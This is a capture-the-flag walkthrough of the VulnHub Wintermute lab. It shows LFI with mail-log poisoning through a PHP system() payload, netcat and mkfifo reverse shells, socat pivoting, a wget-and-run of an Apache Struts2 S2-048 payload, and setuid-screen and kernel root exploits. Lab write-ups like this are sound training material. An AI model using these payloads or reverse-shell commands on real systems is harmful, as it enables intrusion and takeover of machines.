Details
The machine is https://www.vulnhub.com/entry/wintermute-1,239/
This challenge comes in two parts, a machine on the same network as my kali machine, and another on a separate network linked to the first target. Instructions to set this up are included with the download.
Recon Phase
I first had to locate the first target
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00066s latency).
MAC Address: 0A:00:27:00:00:14 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.0012s latency).
MAC Address: 08:00:27:A8:D1:9E (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.0010s latency).
MAC Address: 08:00:27:E6:13:1C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.75 seconds
Then scan it for open ports
root@kali:~# nmap -sV 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00068s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian))
3000/tcp open http Mongoose httpd
MAC Address: 08:00:27:E6:13:1C (Oracle VirtualBox virtual NIC)
Service Info: Host: straylight
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds
Hunting Shell #1
So I checkout the webserver on port 80 at http://192.168.56.102
Which auto forwarded me to
I then wanted to see what was on port 3000, so I went to http://192.168.56.102:3000/ and got redirected to http://192.168.56.102:3000/lua/login.lua?referer=/
It was kind enough to tell me the default login was admin:admin, so I tried it
And poked around a bit until I got to http://192.168.56.102:3000/lua/flows_stats.lua
This revealed two new sections on the port 80 web server called /freeside and /turing-bolo, I started by trying freeside at http://192.168.56.102/freeside/
Then /turing-bolo at http://192.168.56.102/turing-bolo/
I clicked submit on "Case" which redirected me to http://192.168.56.102/turing-bolo/bolo.php?bolo=case
The url indicated it was loading from files, and the files listed in the text matched the name on the drop down box before. So I checked if the files were actually there, by testing molly.log at http://192.168.56.102/turing-bolo/molly.log
This was a good sign, so I tested case.log at http://192.168.56.102/turing-bolo/case.log
This indicated the ?bolo param in the url for bolo.php loaded a file with the param name appended with .log like
[PARAM].log
This meant it may be vulnerable LFI but only for files with .log extension, I tested this by using a php filter, injecting
php://filter/convert.base64-encode/resource=case
By going to http://192.168.56.102/turing-bolo/bolo.php?bolo=php://filter/convert.base64-encode/resource=case
Which was the encoded source code for ?bolo=case, I then confirmed directory traversal by using
http://192.168.56.102/turing-bolo/bolo.php?bolo=php://filter/convert.base64-encode/resource=../turing-bolo/case
And direct addressing with
http://192.168.56.102/turing-bolo/bolo.php?bolo=php://filter/convert.base64-encode/resource=/var/www/html/turing-bolo/case
I was planning to turn a log into a web shell, I tried to find the apache2 log file into a shell, but I couldn't find one I could influence, but I remembered the smtp port being open, so I looked for the mail log file, whcih should be in /var/log/mail.log, so I went to http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail
Once I had the log, I needed to set it up as a shell, so I used netcat to do it
root@kali:~# nc 192.168.56.102 25
220 straylight ESMTP Postfix (Debian/GNU)
MAIL FROM:<fake@email.com>
250 2.1.0 Ok
RCPT TO:<?php echo system($_POST['cmd']); ?>
501 5.1.3 Bad recipient address syntax
Note: I used POST not GET for this
With the log file poisoned I just had to trigger it
root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=id"
[SNIP]
Dec 28 17:49:16 straylight postfix/smtpd[825]: connect from unknown[192.168.56.101]
Dec 28 17:50:29 straylight postfix/smtpd[825]: warning: Illegal address syntax from unknown[192.168.56.101] in RCPT command: uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[SNIP]
With confirmed RCE I checked for netcat
root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=which nc"
[SNIP]
/bin/nc
[SNIP]
And setup a listener to receive a shell
root@kali:~# nc -nlvp 4444
Using the RCE I spawned a reverse shell
root@kali:~# curl -X POST http://192.168.56.102/turing-bolo/bolo.php?bolo=/var/log/mail --data "cmd=nc 192.168.56.101 4444 -e /bin/bash"
In the listener
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 39852
$
Root Hunting Round 1
I started by making a nicer shell
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@straylight:/var/www/html/turing-bolo$
I know this machine is on a network with the second target, so I looked at the config
www-data@straylight:/var/www/html/turing-bolo$ ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::a00:27ff:fee6:131c prefixlen 64 scopeid 0x20<link>
ether 08:00:27:e6:13:1c txqueuelen 1000 (Ethernet)
RX packets 901 bytes 69205 (67.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 890 bytes 323204 (315.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.212.3 netmask 255.255.255.0 broadcast 192.168.212.255
inet6 fe80::a00:27ff:feea:9470 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ea:94:70 txqueuelen 1000 (Ethernet)
RX packets 107 bytes 12464 (12.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 2556 (2.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 19897 bytes 2071968 (1.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 19897 bytes 2071968 (1.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
As I'm on the 192.168.56.xxx range, the target must be on the 192.168.212.xxx range on interface enp0s8, but to pivot well root privs on this server would be useful, so I began to hunt down methods
www-data@straylight:/var/www/html/turing-bolo$ find / -perm -u=s 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
All the normal things were there, but it was unusual for screen to be there, and it nicely gave me the version number, so I put it into exploit-db and found https://www.exploit-db.com/exploits/41154, which I saved on my machine as exploit.sh and transferred to the target
root@kali:~# nc -nvlp 2222 < exploit.sh
www-data@straylight:/var/www/html/turing-bolo$ cd /tmp
www-data@straylight:/tmp$ nc 192.168.56.101 2222 > exploit.sh
Then back in the listener
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 49322
With the file transferred, I made it executable and ran it
www-data@straylight:/tmp$ chmod +x exploit.sh
www-data@straylight:/tmp$ ./exploit.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^~~~~
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]
seteuid(0);
^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
setegid(0);
^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
There is a screen on:
3103..straylight (Detached)
1 Socket in /tmp/screens/S-www-data.
#
This spawned me a shell
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
The first machine was rooted, so I grabbed its flag
# cd /root
# ls -la
drwx------ 4 root root 4096 Jul 3 20:33 .
drwxr-xr-x 23 root root 4096 May 12 2018 ..
-rw------- 1 root root 0 Jul 3 21:59 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 2 root root 4096 May 12 2018 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 May 12 2018 .selected_editor
-rw------- 1 root root 12459 Jul 3 20:33 .viminfo
-rw------- 1 root root 33 Jul 1 19:17 flag.txt
-rw------- 1 root root 778 Jul 1 19:23 note.txt
drwxr-xr-x 2 root root 4096 May 12 2018 scripts
# cat flag.txt
5ed185fd75a8d6a7056c96a436c6d8aa
I then grabbed the note
# cat note.txt
Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.
The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here:
/struts2_2.3.15.1-showcase
It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.
Regards,
Bob Laugh
Turing Systems Engineer II
Freeside//Straylight//Ops5
Shell Hunting #2
Without nmap on this machine, I had to carry out my recon another way, but first I made the shell nicer again
# python -c "import pty;pty.spawn('/bin/bash')"
root@straylight:/etc#
And went back to /tmp
root@straylight:/etc# cd /tmp
I used a bash one-liner to calculate which IPs had hosts up on the 212 range, if the host was up the words "bytes from" would be in the output so I could grep pings
root@straylight:/tmp# for i in $(seq 1 255); do ping -c 1 192.168.212.$i; done | grep "bytes from"
64 bytes from 192.168.212.2: icmp_seq=1 ttl=255 time=0.292 ms
64 bytes from 192.168.212.3: icmp_seq=1 ttl=64 time=0.012 ms
64 bytes from 192.168.212.4: icmp_seq=1 ttl=64 time=0.823 ms
As this machine was 192.168.212.3 it was likely the next target was 192.168.212.4, so I setup another one-liner to act as a port scan, using grep again but this time with -v
which meant it would show any which didn't include the provided data
root@straylight:/tmp# for i in $(seq 1 65535); do nc -nvz -w 1 192.168.212.4 $i 2>&1; done | grep -v "Connection refused"
(UNKNOWN) [192.168.212.4] 8009 (?) open
(UNKNOWN) [192.168.212.4] 8080 (http-alt) open
(UNKNOWN) [192.168.212.4] 34483 (?) open
(UNKNOWN) [192.168.212.4] 55327 (?) : Connection timed out
With the 3 open ports in place, I needed to tunnel them onto the same network as me, so I checked to see if socat was available
root@straylight:/tmp# which socat
/usr/bin/socat
As it was, I used it to tunnel each port onto the 56 range
root@straylight:/tmp# socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.212.4:8009 &
[1] 14514
root@straylight:/tmp# socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.212.4:8080 &
[2] 14521
root@straylight:/tmp# socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.212.4:34483 &
[3] 14524
Note the & to cause the command to background and not hang the shell
Then using nmap I confirmed this had worked
root@kali:~# nmap -sV -p- 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.0014s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian))
3000/tcp open http Mongoose httpd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.0.M26
34483/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
MAC Address: 08:00:27:E6:13:1C (Oracle VirtualBox virtual NIC)
Service Info: Host: straylight; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.72 seconds
I went to the tomcat server on port 8080 at http://192.168.56.102:8080
Note: Even though I visit 192.168.56.102, it is forwarding me to 192.168.212.4
In the note previously, it mentioned they had deployed something onto tomcat at /struts2_2.3.15.1-showcase, so I went to take a look at http://192.168.56.102:8080/struts2_2.3.15.1-showcase
I found an exploit for this on exploit-db https://www.exploit-db.com/exploits/42324, but to be able to make it call back with a shell I needed to forward a port the other way
root@straylight:/tmp# socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.56.101:6666 &
[1] 20999
And opened a listener for it
root@kali:~# nc -nvlp 6666
I saved the exploit as struts.py and tried to spawn a shell
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666 -e /bin/bash"
[*] exploit Apache Struts2 S2-048
[+] command: nc 192.168.212.3 6666 -e /bin/bash
Note: It calls back to the 212 but that forwards it to me on the 56 range
Nothing came through, so I tried it again without -e
encase that option wasn't available
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666"
[*] exploit Apache Struts2 S2-048
[+] command: nc 192.168.212.3 6666
Then in the listener
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 51500
So it connected, so I tried more reverse shells, making sure a listener was open each time
root@kali:~# nc -nlvp 6666
I couldn't get any reverse shells to fire, and I suspected this was because Java Runtime didn't support linux piping etc. So I decided to transfer a file to execute and spawn the reverse shell, first I needed to expose my port 80 to the target so it could get the file
root@straylight:/tmp# socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.56.101:80 &
[2] 22133
And then setup a file in /var/www/html called callback.sh which contained
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.3 6666 >/tmp/f
And turned on the apache server
root@kali:~# apache2ctl start
Invoking 'systemctl start apache2'.
Use 'systemctl status apache2' for more info.
And triggered and exploit to pull it
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.212.3:8888/callback.sh -O /tmp/callback.sh"
[*] exploit Apache Struts2 S2-048
[+] command: wget http://192.168.212.3:8888/callback.sh -O /tmp/callback.sh
Triggered a chmod
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/callback.sh"
[*] exploit Apache Struts2 S2-048
[+] command: chmod +x /tmp/callback.sh
And fired it
root@kali:~# python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/callback.sh"
[*] exploit Apache Struts2 S2-048
[+] command: sh /tmp/callback.sh
Back in the listener
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 52822
/bin/sh: 0: can't access tty; job control turned off
$
A shell connected back, from the second target machine
Root Hunting Round 2
So who am I?
$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
It didn't have python to make it nicer, so I just started hunting for a way to get root
$ uname -a
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
It seemed vulnerable to https://www.exploit-db.com/exploits/44298, so I checked for gcc
$ which gcc
It wasn't there, so I downloaded the exploit to /var/www/html on my machine as priv.c and compiled it locally
root@kali:~# gcc priv.c -o priv
And moved it to the target
$ cd /tmp
$ wget http://192.168.212.3:8888/priv
--2018-12-29 12:59:40-- http://192.168.212.3:8888/priv
Connecting to 192.168.212.3:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17880 (17K)
Saving to: ‘priv’
0K .......... ....... 100% 2.83M=0.006s
2018-12-29 12:59:40 (2.83 MB/s) - ‘priv’ saved [17880/17880]
Chmoded it
$ chmod +x priv
Then ran it
$ ./priv
#
A shell popped
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(ta)
I could grab the flag now
# cd /root
# ls -la
drwx------ 8 root root 4096 Jul 3 21:30 .
drwxr-xr-x 23 root root 4096 May 18 2018 ..
-rw------- 1 root root 257 Jul 3 21:52 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 May 18 2018 .cache
-rw------- 1 root root 33 Jul 1 09:00 flag.txt
drwxr-xr-x 2 root root 4096 May 18 2018 .nano
drwxr-x--- 2 root root 4096 May 18 2018 .oracle_jre_usage
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 75 Jul 1 06:47 .selected_editor
drwx------ 2 root root 4096 Jul 3 21:00 .ssh
drwxr-xr-x 6 root root 4096 Jan 27 2017 struts2
-rw-r----- 1 root root 82 Jul 1 06:46 velocity.log
drwxr-xr-x 2 root root 4096 Jul 1 17:58 .vim
-rw------- 1 root root 4292 Jul 3 21:30 .viminfo
# cat flag.txt
be3306f431dae5ebc93eebb291f4914a
With that the challenge is done